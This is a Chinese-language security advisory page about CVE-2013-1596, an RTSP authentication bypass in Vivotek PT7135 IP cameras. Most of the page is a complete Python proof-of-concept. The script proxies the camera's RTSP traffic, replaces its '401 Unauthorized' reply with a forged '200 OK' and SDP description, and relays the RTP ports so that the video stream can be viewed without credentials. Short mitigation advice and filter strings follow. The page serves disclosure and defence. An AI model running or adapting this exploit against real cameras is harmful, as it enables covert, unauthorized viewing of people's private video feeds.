安全研究
安全漏洞
多个Vivotek IP摄像机远程身份验证绕过漏洞(CVE-2013-1596)
发布日期:2013-04-30
更新日期:2013-05-02
受影响系统:
Vivotek PT7135 IP camera 0400a描述:
Vivotek PT7135 IP camera 0300a
BUGTRAQ ID: 59574
CVE(CAN) ID: CVE-2013-1596
Vivotek是网络视频解决方案提供商。
Vivotek PT7135网络摄像头存在RTSP身份验证绕过漏洞,通过向TCP端口554发送特制的RTSP报文,未经身份验证的远程攻击者可访问视频流。
<*来源:Francisco Falcon
Nahuel Riva
链接:http://seclists.org/fulldisclosure/2013/Apr/252
http://www.coresecurity.com/advisories/vivotek-ip-cameras-multiple-vulnerabilities
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
from socket import *
from threading import Thread
import time, re
LOGGING = 1
def log(s):
if LOGGING:
print '(%s) %s' % (time.ctime(), s)
class UDPRequestHandler(Thread):
def __init__(self, data_to_send, recv_addr, dst_addr):
Thread.__init__(self)
self.data_to_send = data_to_send
self.recv_addr = recv_addr
self.dst_addr = dst_addr
def run(self):
sender = socket(AF_INET, SOCK_DGRAM)
sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
sender.sendto(self.data_to_send, self.dst_addr)
response = sender.recv(1024)
sender.sendto(response, self.recv_addr)
sender.close()
class UDPDispatcher(Thread):
dispatchers = []
def __has_dispatcher_for(self, port):
return any([d.src_port == port for d in UDPDispatcher.dispatchers])
def __init__(self, src_port, dst_addr):
Thread.__init__(self)
if self.__has_dispatcher_for(src_port):
raise Exception('There is already a dispatcher for port %d' % src_port)
self.src_port = src_port
self.dst_addr = dst_addr
UDPDispatcher.dispatchers.append(self)
def run(self):
listener = socket(AF_INET, SOCK_DGRAM)
listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
listener.bind(('', self.src_port))
while 1:
try:
data, recv_addr = listener.recvfrom(1024)
if not data: break
UDPRequestHandler(data, recv_addr, self.dst_addr).start()
except Exception as e:
print e
break
listener.close()
UDPDispatcher.dispatchers.remove( self )
class PipeThread(Thread):
pipes = []
def __init__(self, source, sink, process_data_callback=lambda x: x):
Thread.__init__(self)
self.source = source
self.sink = sink
self.process_data_callback = process_data_callback
PipeThread.pipes.append(self)
def run(self):
while 1:
try:
data = self.source.recv(1024)
data = self.process_data_callback(data)
if not data: break
self.sink.send( data )
except Exception as e:
log(e)
break
PipeThread.pipes.remove(self)
class TCPTunnel(Thread):
def __init__(self, src_port, dst_addr, process_data_callback=lambda x: x):
Thread.__init__(self)
log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port, dst_addr[0], dst_addr[1]))
self.dst_addr = dst_addr
self.process_data_callback = process_data_callback
# Create TCP listener socket
self.sock = socket(AF_INET, SOCK_STREAM)
self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
self.sock.bind(('', src_port))
self.sock.listen(5)
def run(self):
while 1:
# Wait until a new connection arises
newsock, address = self.sock.accept()
# Create forwarder socket
fwd = socket(AF_INET, SOCK_STREAM)
fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
fwd.connect(self.dst_addr)
# Pipe them!
PipeThread(newsock, fwd, self.process_data_callback).start()
PipeThread(fwd, newsock, self.process_data_callback).start()
class Camera():
def __init__(self, address):
self.address = address
def get_describe_data(self):
return ''
class Vivotek(Camera):
# Vivotek PT7135/0400a
def __init__(self, address):
Camera.__init__(self, address)
def get_describe_data(self):
return 'v=0\r\no=RTSP 836244 0 IN IP4 0.0.0.0\r\ns=RTSP server\r\nc=IN IP4 0.0.0.0\r\nt=0 0\r\na=charset:Shift_JIS\r\na=range:npt=0-\r\na=control:*\r\na=etag:1234567890\r\nm=video 0 RTP/AVP 96\r\nb=AS:1200\r\na=rtpmap:96 MP4V-ES/30000\r\na=control:trackID=1\r\na=fmtp:96 profile-level-id=3;config=000001B003000001B509000001000000012000C48881F4514043C1463F;decode_buf=76800\r\nm=audio 0 RTP/AVP 97\r\na=control:trackID=3\r\na=rtpmap:97 mpeg4-generic/16000/2\r\na=fmtp:97 streamtype=5; profile-level-id=15; mode=AAC-hbr; config=1410;SizeLength=13; IndexLength=3; IndexDeltaLength=3; CTSDeltaLength=0; DTSDeltaLength=0;\r\n'
class RTSPAuthByPasser():
DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://'
UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized'
SERVER_PORT_ARGUMENTS = 'server_port='
DEFAULT_CSEQ = 1
DEFAULT_SERVER_PORT_RANGE = '5556-5559'
def __init__(self, local_port, camera):
self.last_describe_req = ''
self.camera = camera
self.local_port = local_port
def start(self):
log('[!] Starting bypasser')
TCPTunnel(self.local_port, self.camera.address, self.spoof_rtsp_conn).start()
def spoof_rtsp_conn(self, data):
if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
self.last_describe_req = data
elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and self.last_describe_req:
log('[!] Unauthorized response received. Spoofing...')
spoofed_describe = self.camera.get_describe_data()
# Look for the request CSeq
m = re.search('.*CSeq:\\s*(\\d+?)\r\n.*', self.last_describe_req)
cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ
# Create the response
data = 'RTSP/1.0 200 OK\r\n'
data+= 'CSeq: %s\r\n' % cseq
data+= 'Content-Type: application/sdp\r\n'
data+= 'Content-Length: %d\r\n' % len(spoofed_describe)
data+= '\r\n'
# Attach the spoofed describe
data+= spoofed_describe
elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:
# Look for the server RTP ports
m = re.search('.*%s\\s*(.+?)[;|\r].*' % RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)
ports = m.group(1) if m else RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE
# For each port in the range create a UDP dispatcher
begin_port, end_port = map(int, ports.split('-'))
for udp_port in xrange(begin_port, end_port + 1):
try:
UDPDispatcher(udp_port, (self.camera.address[0], udp_port)).start()
except:
pass
return data
if __name__ == '__main__':
if len( sys.argv ) > 1:
listener_port = camera_port = int(sys.argv[1])
camera_ip = sys.argv[2]
if len(sys.argv) == 4:
camera_port = int(sys.argv[3])
RTSPAuthByPasser(listener_port, Vivotek((camera_ip, camera_port))).start()
else:
print 'usage: python %s [local_port] [camera_ip] [camera_rtsp_port]'
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 除非需要,不要将摄像机联网。
* 如果可能,过滤RTSP流(默认端口554)。
* 在HTTP请求中,至少有一个代理过滤 /../../ 、getparam.cgi
* 对 farseer.out 的每个请求,过滤参数 system.ntp 内的字符串。
厂商补丁:
Vivotek
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.vivotek.com/web/product/NetworkCameras.aspx
浏览次数:5151
严重程度:0(网友投票)
绿盟科技给您安全的保障
